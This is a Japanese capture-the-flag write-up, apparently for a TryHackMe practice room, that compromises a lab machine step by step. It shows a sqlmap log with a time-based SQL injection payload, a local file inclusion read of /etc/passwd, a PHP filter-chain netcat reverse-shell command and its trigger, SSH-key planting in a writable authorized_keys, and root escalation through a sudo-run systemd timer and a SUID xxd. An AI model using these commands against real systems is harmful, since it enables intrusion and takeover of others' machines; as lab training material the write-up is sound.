[20:52:14] [INFO] target URL content is stable
[20:52:14] [INFO] testing if POST parameter 'username' is dynamic
[20:52:15] [WARNING] POST parameter 'username' does not appear to be dynamic
[20:52:15] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[20:52:15] [INFO] testing for SQL injection on POST parameter 'username'
[20:52:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:52:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[20:52:17] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:52:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:52:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:52:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:52:24] [INFO] testing 'Generic inline queries'
[20:52:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:52:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:52:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:52:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:52:41] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 

[20:52:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:52:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://10.10.123.5/secret-script.php?file=supersecretadminpanel.html'. Do you want to follow? [Y/n] 

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] 

[20:52:57] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 

[20:53:16] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[20:53:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive


sqlmap identified the following injection point(s) with a total of 96 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))pbJi) AND 'KNhW'='KNhW&password=1
---
[20:54:34] [INFO] the back-end DBMS is MySQL
[20:54:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[20:54:34] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:54:40] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.123.5'

[*] ending @ 20:54:40 /2024-10-25/

sqlmapの結果よりhttp://10.10.123.5/secret-script.php?file=supersecretadminpanel.htmlページへのリダイレクトを検出しました。

secret-script.php?file=supersecretadminpanel.htmlページについては、SQLインジェクションを行うことでも同じ結果が得られます。

脆弱性分析

sqlmapの結果を踏まえて、http://10.10.123.5/secret-script.php?file=supersecretadminpanel.htmlにアクセスすると、以下の様な画面が表示されます。

LFIの可能性を探るため、クエリパラメータの引数に/etc/passwdファイルを指定してアクセスすると、ファイルの中身が確認できました。

引き続き調査を行うと、Messagesページでは、ファイルパラメータを使用してリソースが呼び出されていることが分かります。また、リソースを統合するときにPHPフィルターが使用されていることが確認できます。

システムハッキング

PHPのfilter chainを利用して、足場を作ります。

アクセスの獲得

php://filterは、PHPのストリームラッパーの一つであり、データの入出力時に特定のフィルタを適用できる機能です。

PHPのストリームラッパーは、ファイルやデータストリームなど外部リソースにアクセスするための抽象化されたインターフェースを提供します。また、ファイルの読み書き時にフィルタを用いて、特定のエンコードやデコード、変換処理などが可能です。

リバースシェルを取得するためには、以下のツールを利用してPHPのfilter chainを生成します。

ツールを実行する際は、--chainの引数にリバースシェルを取得するコマンドを指定して実行します。

$ python php_filter_chain_generator.py --chain '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <Your IP address> <Port> >/tmp/f"); ?>' | grep '^php' > payload.txt

リスナーを用意した状態で、生成したファイルにアクセスすることで、リバースシェルを取得します。

$ curl -s "http://<IP address>/secret-script.php?file=$(cat payload.txt)"

listening on [any] 4444 ...
connect to [<Your IP address>] from (UNKNOWN) [10.10.123.5] 39838
sh: 0: can't access tty; job control turned off
$

リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。

$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cheesectf:/var/www/html$ ^Z
[1]+  停止                  nc -lnvp 4444

┌──(kali㉿kali)-[~/Downloads]
└─$ stty raw -echo; fg
nc -lnvp 4444
             export TERM=xterm
www-data@cheesectf:/var/www/html$ export SHELL=bash

ユーザーフラグ

水平展開を行うにあたりLinPEASを用いて調査を行います。

linpeas.shを実行後Interesting writable files owned by me or writable by everyone (not in Home) (max 500)のセクションを確認します。

/dev/mqueue
/dev/shm
/etc/systemd/system/exploit.timer
/home/comte/.ssh/authorized_keys
/run/lock
/run/lock/apache2
/run/screen
/snap/core20/2015/run/lock
/snap/core20/2015/tmp
/snap/core20/2015/var/tmp
/snap/core20/2182/run/lock
/snap/core20/2182/tmp
/snap/core20/2182/var/tmp
/tmp
/tmp/linpeas.sh
/tmp/tmux-33
/var/cache/apache2/mod_cache_disk
/var/crash
/var/lib/php/sessions
/var/tmp

上記結果より/home/comte/.ssh/authorized_keysファイルについて、書き込み可能な権限が設定されていることが分かります。

-rw-rw-rw- 1 comte comte 0 Mar 25  2024 /home/comte/.ssh/authorized_keys

ssh-keygenコマンドを実行して、　生成したSSHの公開鍵を/home/comte/.ssh/authorized_keysファイルに追記します。

ssh-ed25519 ********************************************************************

生成したSSHの秘密鍵を用いてcomteユーザーでログインします。

$ ssh -i ssh_id.rsa comte@<IP address>

ユーザーフラグが確認できます。

total 52
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 ./
drwxr-xr-x 3 root  root  4096 Sep 27  2023 ../
lrwxrwxrwx 1 comte comte    9 Apr  4  2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25  2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27  2023 .cache/
drwx------ 3 comte comte 4096 Mar 25  2024 .gnupg/
drwxrwxr-x 3 comte comte 4096 Mar 25  2024 .local/
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwx------ 3 comte comte 4096 Mar 25  2024 snap/
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .ssh/
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt
-rw------- 1 comte comte   55 Apr  4  2024 .Xauthority

ルートフラグ

ルートフラグを取得するためには、権限昇格が必要です。

sudo -lを実行すると、以下の様な出力が確認できました。

User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

上記結果を踏まえて、systemctlに登録しているexploit.timerを実行できることが確認できます。

/etc/systemd/system/exploit.timerファイルと/etc/systemd/system/exploit.serviceファイルの中身を確認します。

/etc/systemd/system/exploit.timer

[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

/etc/systemd/system/exploit.service

[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

OnBootSecはシステム起動後すぐにサービスを実行する設定です。/etc/systemd/system/exploit.timerファイルを利用するために、OnBootSecの値を0に設定します。これにより、Unitに紐付いたサービスファイルが起動されます。

OnBootSec=0

systemctlコマンドを実行して、exploit.timeに関する現在の状態を確認します。

$ systemctl status exploit.timer

●exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; disabled; vendor preset: enabled)
     Active: inactive (dead)
    Trigger: n/a
   Triggers: ●exploit.service

$ systemctl status exploit.service

●exploit.service - Exploit Service
     Loaded: loaded (/etc/systemd/system/exploit.service; static; vendor preset: enabled)
     Active: inactive (dead)

systemctlを再読み込みし、exploit.timerを起動します。

$ sudo /bin/systemctl daemon-reload
$ sudo /bin/systemctl start exploit.timer

再度状態を確認します。

$ systemctl status exploit.timer

●exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; disabled; vendor preset: enabled)
     Active: active (elapsed) since Fri 2024-10-25 12:21:30 UTC; 1min 15s ago
    Trigger: n/a
   Triggers:●exploit.service

$ systemctl status exploit.service

●exploit.service - Exploit Service
     Loaded: loaded (/etc/systemd/system/exploit.service; static; vendor preset: enabled)
     Active: inactive (dead) since Fri 2024-10-25 12:21:30 UTC; 3s ago
TriggeredBy: ●exploit.timer
    Process: 27536 ExecStart=/bin/bash -c /bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd (code=exited, status=0/SUCCESS)
   Main PID: 27536 (code=exited, status=0/SUCCESS)

exploit.timerを起動後、/optディレトクリ配下に移動してlsコマンドなどを実行すると、ステッキービットが付与されたxxdファイルが生成されていることが確認できます。

total 28
drwxr-xr-x  2 root root  4096 Oct 25 12:21 ./
drwxr-xr-x 19 root root  4096 Sep 27  2023 ../
-rwsr-sr-x  1 root root 18712 Oct 25 12:21 xxd*

以下のコマンドを実行すると、ルートフラグが読み取れます。

$ LFILE=/root/root.txt
$ ./xxd "$LFILE" | xxd -r

      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{****************************************}

ルートユーザーに昇格するためには、同じ要領で昇格できます。

$ echo 'ssh-ed25519 ********************************************************************' | /opt/xxd | /opt/xxd -r - /root/.ssh/authorized_keys

$ ssh -i ssh_id.rsa root@<IP address>

uid=0(root) gid=0(root) groups=0(root)

おわりに

列挙スキルが試される面白いRoomでした。

参考